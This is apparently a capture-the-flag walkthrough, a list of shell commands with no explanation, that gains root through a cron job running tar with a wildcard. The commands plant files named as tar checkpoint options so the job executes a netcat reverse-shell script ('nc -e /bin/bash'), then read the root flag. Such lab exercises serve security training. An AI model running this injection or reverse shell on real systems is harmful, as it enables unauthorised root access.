Cron Jobs Gone Wild

crontab -l

ls -l /tmp/

ls -l /tmp/backup

tar -zxvf adam-key-archive.tar.gz

find / -name authorized_keys

cd /home/adam/.ssh

touch 6

cd /tmp/backup

tar -zxvf adam-key-archive.tar.gz

cd /home/adam/.ssh

printf '#! /bin/bash\nnc -e /bin/bash 127.0.0.1 1234' > shell.sh

cat shell.sh

touch -- '--checkpoint-action=exec=sh shell.sh'

touch -- '--checkpoint=1'

nc -vnlp 1234

whoami

cd /root

ls -l

cat flag